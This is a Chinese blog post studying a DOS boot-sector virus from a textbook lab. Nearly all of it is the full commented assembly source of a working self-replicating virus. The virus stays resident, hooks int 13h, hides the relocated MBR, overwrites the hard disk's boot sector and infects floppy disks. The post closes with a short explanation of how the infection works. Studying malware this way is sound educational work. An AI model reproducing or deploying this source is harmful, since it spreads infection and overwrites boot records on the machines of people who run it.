DOS平臺引導型病毒初探

     DOS平臺的病毒已經是過去時了,但是學習知識還得從簡單學起。

    今天就來研究一下DOS平臺的引導型病毒,參考資料爲劉功申老師編著的《計算機病毒及其防範技術》(第2版),以第一個實驗爲例。

    實驗環境:虛擬機

上代碼先:

  1.     ;bv.asm 
  2. bv segment;定義段 
  3.     assume cs:bv,ds:bv,es:bv;聲明段與寄存器的結合 
  4.     .286;處理機模式 
  5.     org 0000h;制定下一指令的偏移地址爲0000h 
  6. start: 
  7.     jmp short vir_init;下面兩個字節用於保存中斷向量,跳過 
  8.      
  9.     magic equ 10ebh   ;病毒感染判斷標誌 
  10.     oint13_ip dw ?      ;存放正確的int 13中斷向量 
  11.     oint13_cs dw ? 
  12.     reg_cx dw 4f0fh;正常的mbr的地址(表示79道15扇)      
  13.                     ;在本實驗中也相當於一個標記,用來判讀是從軟盤還是從硬盤啓動 
  14.                     ;沒有別的作業,因爲實驗中用的虛擬軟盤都沒有存放引導記錄的 
  15.     bootmessage db "*^_^*"  ;病毒發作時,顯示的內容 
  16.     clearmessage db "     " 
  17.  
  18. vir_init:;病毒從這裏開始執行 
  19.                                                         ;初始化ds,ss,sp 
  20.     mov si, 7c00h;當前病毒所在的偏移地址 
  21.     cli;爲確保堆棧操作正常,中斷禁能 
  22.     xor bx, bx;bx清零 
  23.     mov ds,bx;0000爲當前之段地址置入數據段寄存器ds中           
  24.     ;下面將堆棧放置在程序段的頭部 
  25.     mov ss, bx;0000爲當前之段地址置入ss中 
  26.     mov sp, si;7c00爲當前程序段偏移地址置入sp中 
  27.     sti;中斷置能 
  28.      
  29.     push bx;0000:7c00h置入堆棧 
  30.     push si;爲以後使用retf跳轉到此執行做準備 
  31.      
  32.     cld;清方向標誌 
  33.                                                                 ;保存原int13h ip,cs 
  34.     mov ax, [bx+13h*04h];取int 13h的偏移地址 
  35.     mov ds:[si+offset oint13_ip], ax;放入本程序段前的預留空間中 
  36.     mov ax, [bx+13h*04h+02h];取int 13h的段地址 
  37.     mov ds:[si+offset oint13_cs], ax;放入預留空間中 
  38.      
  39.     dec word ptr ds:[0413h];bios資料區的可用內存數減1k                減少可用內存數 
  40.      
  41.     int 12h;取內存數,到ax 
  42.     shl ax, 06h;左移6位 
  43.     mov es, ax;放入es,求得病毒藏身駐留地區起始段地址 
  44.     ;(640-1)*(2^6) =40896     
  45.      
  46.     push ax;段地址入棧                                
  47.     push offset high_code;偏移地址入棧 
  48.                                             ;將自己移動到高地址,駐留內存,避免被覆蓋,神奇 
  49.     ;開始將病毒的程序碼搬移到1k高地址區 
  50.     mov cx, 0100h;置搬移數量 
  51.     xor di,di;置搬移目的地址的偏移地址(段地址es先前已放置) 
  52.     rep movsw;開始搬移256個字,也就是512個字節(一個扇區) 
  53.      
  54.     retf;轉到藏身區繼續執行 
  55.      
  56. high_code:;以下的代碼將在1k的駐留地區繼續執行 
  57.     mov ax, cs                  ;重新設置 ds 
  58.     mov ds, ax 
  59.      
  60.     call mainloop       ;病毒的表現模塊,在屏幕上顯示一個*^_^*,並且不斷移動,直到有鍵盤操作 
  61.      
  62.     xor ax, ax;ax置零 
  63.     mov es, ax;ex置零 
  64.     int 13h;軟驅復位        磁盤復位 
  65.      
  66.     push cs;cs入棧 
  67.     pop ds;cs內容放入ds 
  68.      
  69.     xor si, si;si置零 
  70.     ;下面開始尋找正常的啓動記錄 
  71.     mov ax, 0201h;調用磁盤服務,讀取一個扇區 
  72.     mov bx, 7c00h;讀取到0000:7c00h 
  73.     mov cx, ds:[si+offset reg_cx];將保存正常啓動記錄的地址取出 
  74.     ;病毒會將正常的引導記錄存在:硬盤,0面0道2扇;軟盤,1面79道15扇 
  75.      
  76.     cmp cx, 0002h;比較看是不是0道2扇區 
  77.     jnz boot_fd;如果不是則一定是從軟盤啓動,此時需要傳染硬盤 
  78.      
  79.     ;如果是則一定從硬盤啓動 
  80.     mov dx, 0080h;讀硬盤0head 
  81.     int 13h;開始讀取 
  82.     call near ptr install;調用子程序,安裝病毒的int 13h 
  83.     retf;轉到0000:7c00h開始執行正常的引導記錄程序 
  84.      
  85. boot_fd:;從軟盤引導 
  86.     mov dx, 0100h;讀a驅動器1面 
  87.     int 13h     ;這個在本實驗中沒有用,因爲本實驗中軟盤中是沒有正確的引導記錄的, 
  88.                 ;所以這個一段讀的內容是無效的,也無法完成後面的啓動, 
  89.                 ;所以我增加了一個啓動copy_boot 
  90.                  
  91.     jb boot_dos;如果讀取失敗轉到boot_dos 
  92.     ;下面準備傳染硬盤 
  93.     push cs 
  94.     pop es;cs值放入es 
  95.     mov ax, 0201h 
  96.     mov bx, 0200h 
  97.     mov cx, 0001h 
  98.     mov dx, 0080h 
  99.     int 13h;讀硬盤0面0道1扇區之內容到病毒駐留區段並偏移512個字節, 
  100.     ;保存硬盤原來正確的MBR 
  101.     ;避免覆蓋到病毒程序本身 
  102.     jb boot_dos;不成功則轉到boot_dos 
  103.      
  104.     cmp word ptr ds:[bx], magic;把讀到的內容的第一個字取出與10ebh相比,10ebh是 
  105.     ;病毒程序第一條指令的機器碼,如果比較結果相等,說明硬盤先前已傳染,就不再次傳染。 
  106.     ;這是感染病毒的標誌 
  107.      
  108.     jnz inf_hd;不相等,說明硬盤沒有被傳染,跳轉到傳染程序 
  109.      
  110.     call near ptr copy_boot ;由於實驗中的軟盤沒有正確引導記錄, 
  111.                             ;所以我增加了一段啓動的代碼 
  112.      
  113.     call near ptr install;調用子程序,安裝病毒的int 13h,病毒傳染觸發的條件   
  114.     retf;轉到0000:7c00h開始執行正常的引導記錄程序 
  115.      
  116. boot_dos:;執行失敗,就跳轉到此處 
  117.     int 18h;轉到rom-basic執行 
  118.      
  119. inf_hd:;傳染硬盤,  完成傳染硬盤的過程 
  120.     ;先將剛纔讀到的正常引導記錄保存道0道2扇,將正常的引導記錄存放到硬盤0面0道2扇區 
  121.     inc cx;cx此時爲1,爲2 
  122.     mov ds:[si+offset reg_cx],cx;cx存放的是正常引導記錄的位置(磁道;扇區)0道2扇 
  123.     mov ax, 0301h;寫入一個扇區 
  124.     mov dx, 0080h;寫入硬盤1的0面 
  125.     int 13h;開始寫入 
  126.     jb boot_dos;不成功轉到boot_dos 
  127.     ;準備替換引導扇區 
  128.     ;保留硬盤分區表 
  129.     ;如果省略此步驟,從軟驅引導則無法進入硬盤,很危險。 
  130.      
  131.     ;我覺得這段把引導扇區除MBR外剩餘的信息複製到病毒代碼後面的空位沒什麼用 
  132.     ;所以我註釋了,編譯鏈接之後做實驗是沒問題的 
  133.     ; mov cl, 21h;準備搬移33個字 
  134.     ; mov di, 01beh;從內存高端的03beh搬移到 
  135.     ; mov si, 03beh;內存高端的01beh,此處正是病毒程序的駐留區 
  136.     ; rep movsw;開始搬移 
  137.     mov ax, 0301h;準備向硬盤寫入一個扇區       將病毒寫到引導扇區0面0道1扇區 
  138.     xor bx, bx 
  139.     ; inc cx;cx置1 
  140.     mov cx, 1h 
  141.     int 13h;寫入物理硬盤0面0道1扇區 
  142.      
  143.     ; mov cx, 0100h;準備搬移一個扇區 
  144.     ; mov si, 0200h 
  145.     ; mov ax, 0 
  146.     ; mov es, ax 
  147.     ; mov di, 7c00h 
  148.     ; rep movsw;開始搬移 
  149.     call near ptr copy_boot 
  150.      
  151.     call near ptr install;安裝病毒的int 13h 
  152.     retf;轉到0000:7c00h執行,正式從軟盤啓動 
  153.      
  154. install:;病毒int 13h的安裝子程序 
  155.     push ax 
  156.     push ds 
  157.     xor ax, ax 
  158.     mov ds, ax 
  159.     mov ax, offset vint13h;病毒int 13h的偏移地址 
  160.     mov ds:[13h*04], ax;替換原int 13h的ip 
  161.     mov ax, cs;取得病毒的段地址 
  162.     mov ds:[13h*04h+02h], ax;替換原int 13h的cs 
  163.     pop ax 
  164.     pop ds 
  165.     ret 
  166.  
  167. copy_boot:          ;將硬盤0面0道第2扇區複製到0000:7c00, 
  168.                     ;被病毒感染的硬盤的MBR存放在0面0道2扇區,可以啓動 
  169.                     ;又由於實驗中使用的軟盤都是沒有正確引導記錄的,遂做修改,這樣可以正常啓動 
  170.                     ;而如果軟盤有正確引導記錄的話,原來的程序是可以完成啓動的 
  171.     mov ax, 0       ;將硬盤0面0道第2扇區的正確的MBR放到000:7c00處,完成啓動 
  172.     mov es, ax 
  173.     mov ax, 0201h 
  174.     mov bx, 7c00h 
  175.     mov cx, 0002h 
  176.     mov dx, 0080h 
  177.     int 13h 
  178.     ret 
  179.  
  180. vint13h: ;病毒的int 13h,判讀是否滿足條件,感染軟盤 
  181.     pushf 
  182.     cmp cx,0001h;是否對0道1扇區進行操作 
  183.     jz stealth;是則進入特殊處理程序stealth 
  184.     or dl,dl;是否操作a驅 
  185.     jnz vint13h_ext;不是則轉到原始int 13h中斷執行 
  186.     test al,01h;是否操作奇數個扇區(測試al的最低位) 
  187.     jnz vint13h_ext;不是則轉到原始int 13h中斷執行 
  188.     call inf_fd;調用傳染軟盤子程序 
  189.      
  190. vint13h_ext:;病毒int 13h到此結束 
  191.     popf;下面 
  192.     jmp dword ptr cs:oint13_ip;調用原始int 13h,開始正常處理 
  193.      
  194. stealth:;特殊處理部分,將對0面0道1扇區的操作改爲2扇區的操作, 
  195.         ;因爲正確的0面0道1扇區的內容是被保存在2扇區的 
  196.     cmp al,01h;是否操作一個扇區 
  197.     jnz vint13h_ext;不是則轉到正常中斷 
  198.     cmp dx,0080h;是否操作硬盤0面 
  199.     jnz vint13h_ext;不是則轉到正常中斷 
  200.     inc cx;對硬盤0面0道1扇區操作改爲對2扇區的操作 
  201.     jmp short vint13h_ext;轉到正常的中斷服務程序 
  202.      
  203. inf_fd:;傳染軟盤子程序 
  204.     push ax 
  205.     push bx 
  206.     push cx 
  207.     push dx 
  208.     push di 
  209.     push si 
  210.     push ds 
  211.     push es 
  212.     push cs;置ds,es的值 
  213.     pop ds 
  214.     push cs 
  215.     pop es 
  216.     xor di,di;di置0 
  217.     mov si,0003h;si置3(表示讀3次) 
  218.      
  219. read_again: 
  220.     mov ax,0201h 
  221.     mov bx,0200h 
  222.     mov cx,0001h 
  223.     xor dx,dx;讀取軟盤0面0道1扇區到病毒常駐段偏移地址爲0200h 
  224.     pushf       ;手工完成原int 13h的調用 
  225.     call dword ptr ds:[di+offset oint13_ip] 
  226.     jnb read_succ;讀取成功轉read_succ處理 
  227.     ; xor ax,ax;否則軟驅復位      ;這一段好像也是多餘的,註釋後,編譯運行,沒問題 
  228.     ; pushf 
  229.     ; call dword ptr ds:[di+offset oint13_ip] 
  230.     dec si;次數減1 
  231.     jnz read_again;不爲0再次讀取 
  232.     jmp short inf_ext;否則退出 
  233.      
  234. read_succ:;讀取成功後,以vir_init處一個字的機器碼爲特徵碼進行比較 
  235.     ;判斷軟盤是否已經染毒,如果沒有染毒,則進行傳染 
  236.     cmp word ptr ds:[bx], magic 
  237.     jz inf_ext;已染毒,退出 
  238.     mov cx,4f0fh                     
  239.     mov ds:[di+offset reg_cx],cx;存放正常的引導程序磁道號扇區號 
  240.     mov ax,0301h 
  241.     mov dh,01h;寫入軟盤1面79道15扇區 
  242.     pushf 
  243.     call dword ptr ds:[di+offset oint13_ip] 
  244.     jb inf_ext 
  245.     ;下面將駐留在內存中的病毒程序寫入軟盤的0面0到1扇區 
  246.     ;若沒有中毒,則感染軟盤,將病毒代碼複製到軟盤中,完成傳染,也是手工調用int 13h 
  247.     mov ax,0301h 
  248.     xor bx,bx 
  249.     mov cx,0001h 
  250.     xor dx,dx 
  251.     pushf 
  252.     call dword ptr ds:[di+offset oint13_ip] 
  253.      
  254. inf_ext:;退出傳染子程序 
  255.     pop es 
  256.     pop ds 
  257.     pop si 
  258.     pop di 
  259.     pop dx 
  260.     pop cx 
  261.     pop bx 
  262.     pop ax 
  263.     ret 
  264.  
  265.     col db 1    ;病毒的表現模塊,在屏幕上顯示一個*^_^*,並且不斷移動,直到有鍵盤操作 
  266. mainloop: 
  267. nextloop: 
  268.     mov dl, col 
  269.     inc dl 
  270.     cmp dl, 63 
  271.     jnz doshow 
  272.     mov dl, 0 
  273.      
  274. doshow: 
  275.     mov col, dl 
  276.     call dispstr; 調用顯示字符串例程 
  277.     mov cx, 0h 
  278.      
  279. ; waitstart:        ;可能是通過循環多爭取了一些時間,使字符顯示在同一位置的時間更長 
  280.     ; loop waitstart    ;註釋後也沒多大影響 
  281.     call clearstr 
  282.     mov ax,0100h            ;取鍵盤緩衝區狀態 
  283.     int 16h 
  284.     jz nextloop         ;判斷有無按鍵操作, 
  285.     ret 
  286.  
  287.     ;調用10h中斷將字符串打印到屏幕上 
  288. dispstr: 
  289.     mov ax, cs 
  290.     mov es, ax 
  291.     mov ax, offset bootmessage 
  292.     mov bp, ax; es:bp = 串地址 
  293.     mov cx, 5; cx = 串長度 
  294.     mov ax, 01301h; ah = 13, al = 01h 
  295.     mov bx, 000ch; 頁號爲0(bh = 0) 黑底紅字(bl = 0ch,高亮) 
  296.     mov dh, 5 
  297.     mov dl, col 
  298.     int 10h; 10h 號中斷 
  299.     ret 
  300.  
  301.  
  302.     ;用空格清除上一次的輸入 
  303. clearstr: 
  304.     mov ax, cs 
  305.     mov es, ax 
  306.     mov ax, offset clearmessage 
  307.     mov bp, ax 
  308.     mov cx, 5 
  309.     mov ax, 01301h 
  310.     mov bx, 000ch 
  311.     mov dh, 5 
  312.     mov dl, col 
  313.     int 10h 
  314.     ret 
  315.  
  316.     db (510-(($-start)mod 512)) dup(0); 以0填充剩餘的字節,保證佔有512個字節 
  317.     dw 0aa55h  
  318. bv ends 
  319.     end start  

引導型病毒將自己藏身在軟盤的引導扇區,系統啓動時,該病毒會被加載到內存中執行,即獲得控制權,然後病毒減小可用內存數,將自己移動到高內存處繼續執行,完成常駐內存,通過判斷是從軟盤啓動還是從硬盤啓動,從軟盤啓動則會感染硬盤,根據標誌判斷是否已被感染,未感染則將硬盤001扇區的內容復到002扇區,並且將病毒複製到001扇區,以實現從硬盤啓動時的感染。病毒將int 13h替換,如果有Int 13h調用,判斷是否軟盤,如果是對軟盤的操作,則感染軟盤,通過標誌判斷軟盤是否感染,如果沒有,則將軟盤的正確引導記錄移動,然後用病毒自身去替換軟盤引導記錄,完成傳染。

病毒發作時,只是在啓動時顯示字符串。

引導型病毒的殺毒請搜索。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章